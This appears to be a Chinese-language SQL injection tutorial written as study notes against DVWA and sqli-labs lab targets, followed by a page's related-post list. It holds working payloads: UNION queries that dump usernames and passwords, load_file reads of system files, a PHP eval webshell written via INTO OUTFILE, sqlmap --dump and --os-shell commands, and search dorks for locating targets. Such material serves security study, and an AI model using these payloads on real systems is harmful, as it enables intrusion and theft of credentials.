需找sql注入点
1\无特定目标
inurl:.php?id=

2\有特定目标:
inurl:.php?id= site:target.com

3\工具爬取
spider,对搜索引擎和目标网站的链接进行爬取

手工简单识别:
and 1=1 / and 1=2
and '1'='1 / and '1' = '2
and 1 like 1 / and 1 like 2

工具识别:
sqlmap -m filename (filename中保存检测目标)
sqlmap --crawl(sqlmap对目标网站进行爬取,然后依次进行测试)

一、环境搭建
1、安装wamp
2、安装sqli-labs
3、配置数据库信息
编辑:db-creds.inc
方法二
使用docker部署
docker search sqli-labs 查找sqli-labs
docker pull acgpiano/sqli-labs 拉取sqli-labs
docker images 查看本地已有的镜像
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs 运行sqli
-dt 后台运行
--name 将命名为sqli
-p 将后台的80映射为本地的80
--rm 在关闭dock后自动删除相应文件,以释放资源

SQL语言
SQL 全称 结构化查询语言 StructuredQueryLanguage,最早是IBM开发的查询语言

sql语句
select version;
select id from jobs where id=1;
select id from jobs where id=1 union select version();
select id,location from jobs where id=1 union select 1,version(); union拼接的前后两条语句的字段需要一致,否则报错,前面是2个字段,所以后面也要为两个字段,所以加了1

代码
$id=$_GET['id'];
$sql="SELECT*FROM users WHERE id='$id' limit 0,1";
limit 0,1 是从第0条返回1条记录
注入
http://test.com/index.php?id=1‘ UNION SELCET 1,version()#
’单引号闭合掉参数
#号代表注释掉后面的内容
%23是一种编码代表了#

Mysql函数
https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html

SQLmap使用
1、针对url
使用python sqlmap -u “url”
2、针对post表单
1)使用python sqlmap -r “文件名” (将post请求保存成文件.txt)
2) 使用python sqlmap -u “url” --data=“post参数”

mysql三种闭合方式
无闭合符号


1 or 1=1
1’ or ‘1=1
1” or “1=1

注释符号闭合
#
--空格
//

使用order by确定字段数
利用二分法确定有多少个字段,当不报错说明存在几个字段
1' order by 5 --空格
1' order by 3 --空格

在确定了有多少字段后,再进一步确定版本信息、目录信息等
可以使用union
例如,存在2个字段columns
1' union select @@version,@@datadir--空格
当少一个columns时会报错,“The used SELECT statements have a different number of columns”

mysql中常用的函数
@@version 显示版本
@@datadir 显示当前目录
user() 查询用户名
database() 查询数据库名
information_schema.tables 查询数据库中的表名
e.g.
id=1' union select 1,table_name from information_schema.tables where table_schema='dvwa'--

dvwa.users 查询列名
e.g.
id=1' union select 1,column_name from information_schema.columns where table_name='users' --

查询用户名和密码
id=1' union select user,password from users --

PHP中文件读取函数
load_file()
id=1' union select 1,load_file(c:\windows\win.ini')--

利用sql注入写入webshell
写入步骤
1 获取物理路径
通过数据库异常报错获取物理路径
2 上传写入webshell

一句话
<?php
@eval($_GET['cmd']);

into outfile 写入文件
提示报错:配置设置无法写入:The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
e.g.
http://10.211.55.7/dvwa/vulnerabilities/sqli/
?id=1' union select "<?php @eval($_GET['cmd']);?>","webshell" into outfile 'C:\phpStudy\PHPTutorial\WWW\DVWA\cmd.php' --
&Submit=Submit#


代码执行
http://ip/dvwa/cmd.PHP?cmd=system(dir);

利用SQLmap自动化
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id"
url中包含了id和submit,-p 指定对id进行***
--cookie 在登录状态下进行sql注入
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"

--current-user 获取当前用户
--current-db 获取当前db
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user --current-db

--tables 查询表
-D +数据库 在该数据库中查询表
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa --tables

-T +表 查询该表下
--columns 查询字段名
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" -p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4" --current-user -D dvwa -T users --columns

查询用户名和mim
--dump 查询用户名密码
-C "user,password" 查询columns中的值
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --dump

利用sqlmap上传shell
--OS-shell
sqlmap.py -u "http://10.211.55.7/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
-p "id" --cookie "security=low; PHPSESSID=0lu80kdec8g18ai2pkldnfsib4"
--current-user -D dvwa -T users -C "user,password" --os-shell

万能密码
‘ --
中间有空格
where username='admin' and password='admin'
sql语句变了
where username='admin' --' and password = ''
如果表中有admin的用户名则有返回数据

寻找SQL注入点
无特定目标
inurl:.php?id=
有特定目标:
inurl:.php?id= site:target.com
工具爬取
spider,对搜索引擎和目标网站的链接进行爬取

注入识别
手工简单识别
'
and 1=1 / and 1=2
and '1'='1 / and '1'='2
and 1 like 1 / and 1 like 2

工具识别:
sqlmap -m fliename (fliename 中保存检测目标)
sqlmap --crawl (sqlmap对目标网站进行爬取,然后依次进行测试)

高级识别:
    扩展识别广度和深度:
        sqlmap --level 增加测试级别,对header中相关参数也进行测试
        sqlmap -r filename (filename中为网站请求数据)
    利用工具提高识别效率:
        Burpsuite + Sqlamp
        burpsuite拦截所有浏览器访问提交的数据
        burpsuite扩展插件,直接调用sqlmap进行测试

        一些tip
        可以在参数后键入 “*” 来确定想要测试的参数
        可能出现注入的点:新闻、登录、搜索、留言。。。

        使用limit group等

group_concat() 连接查询的结果

sql注入知识点的更多相关文章

  1. sql注入知识点整理(基础版)

    sql注入知识点整理(基础版) 基本步骤 判断是否报错 判断闭合符号 判断注入类型 构建payload 手工注入或者编写脚本 基本注入类型 报错型注入 floor公式(结果多出一个1):and (se ...

  2. CTF SQL注入知识点

    理解常用的登录判断 select * from user where username='admin' and password='123' 数据库元信息 infomation_schema 懂PHP ...

  3. Sql注入测试--Sqlmap

    慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...

  4. 基础Web漏洞-SQL注入入门(手工注入篇)

    一.什么是SQL注入  SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL.而SQL注入是将Web页面的原URL.表单域或数据包输入的参数,修改拼接成SQ ...

  5. sql注入原理+mysql相关知识点

    什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...

  6. SQL注入基本知识点总结

    SQL注入基本知识 information_schema    MySQL 中存储所有数据库名.所有表名.所有字段名的系统数据库叫 information_schema ,这是在 MySQL 数据库初 ...

  7. 关于防止sql注入的几个知识点

    1.PDO预处理是首选. 你可以把他看成是要运行的sql的已经编译过的模板,它可以用变量参数进行定制 它有两个显著优点: 1.1:查询仅需解析一次,但可以用相同或者不同参数执行多次.换句话说如果要以不 ...

  8. 有关SQL注入的一些小知识点

    1.判断注入点: 本质原理是找一个需要后台处理后,提交给数据库的点,我理解为用户可以控制并输入后台数据库的变量,比如我们DVWA SQL injection 的ID  ,我们可以通过闭合单引号,#注释 ...

  9. C# sql语句拼接时 like情况的防sql注入的用法

    今天下午同事问我一个比较基础的问题,在拼接sql语句的时候,如果遇到Like的情况该怎么办. 我原来的写法就是简单的拼接字符串,后来同事问我如果遇到sql注入怎么办.我想了下,这确实是个问题. 刚在网 ...

随机推荐

  1. day6_logging模块

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2019/7/11 9:12 # @Author : 大坏男孩 # @File : da ...

  2. Springboot项目启动不了。也不打印任何日志信息。

    Springboot项目启动不了.也不打印任何日志信息. <!-- 在创建Spring Boot工程时,我们引入了spring-boot-starter,其中包含了spring-boot-sta ...

  3. window.location.href方式提交json数据

    ${ctx}/vehicleFlow/to_vehflow_detail.do?strJson="+encodeURIComponent(json)

  4. Django 模版语言

    传入变量 {{ 变量名 }} 在 view.py 的函数返回 render 时在html文件名后传入一个字典,字典的 key 对应html文件中的变量名,value 为传入的值 views.py: d ...

  5. Linux学习笔记-第10天 特殊的交换分区

    关键词,分区.mkswap swapon .uquota,RAID,/etc/fstab 此章开始,难度有些提升.不过还好自己有点基础.

  6. cicros安装

    1.下载与安装依赖包 wget https://github.com/libgd/libgd/releases/download/gd-2.2.5/libgd-2.2.5.tar.gz tar zxv ...

  7. 第02组 Beta冲刺(5/5)

    队名:無駄無駄 组长博客 作业博客 组员情况 张越洋 过去两天完成了哪些任务 验收了小程序的主要功能 制作Beta展示所需要用到的视频 制作Beta展示PPT 准备Beta答辩 提交记录(全组共用) ...

  8. 有关tab页的

    有关tab页的 1.静态的 2.动态的可以删除的 3.删除右侧,左侧,全部,除了自己以外的. 4.多了可以自动伸缩. 5.带shown事件.可以反向影响菜单去.

  9. 海边拾贝-A-算法篇

    收集若干算法博客地址,不定期会更新: 算法 陈浩,leetcode 的C++解法  https://github.com/haoel/leetcode 王亮,很多题目讲解的比较详细   https:/ ...

  10. pixijs shader 制作百叶窗效果

    pixijs shader 制作百叶窗效果 直接贴代码了 const app = new PIXI.Application({ transparent: true }); document.body. ...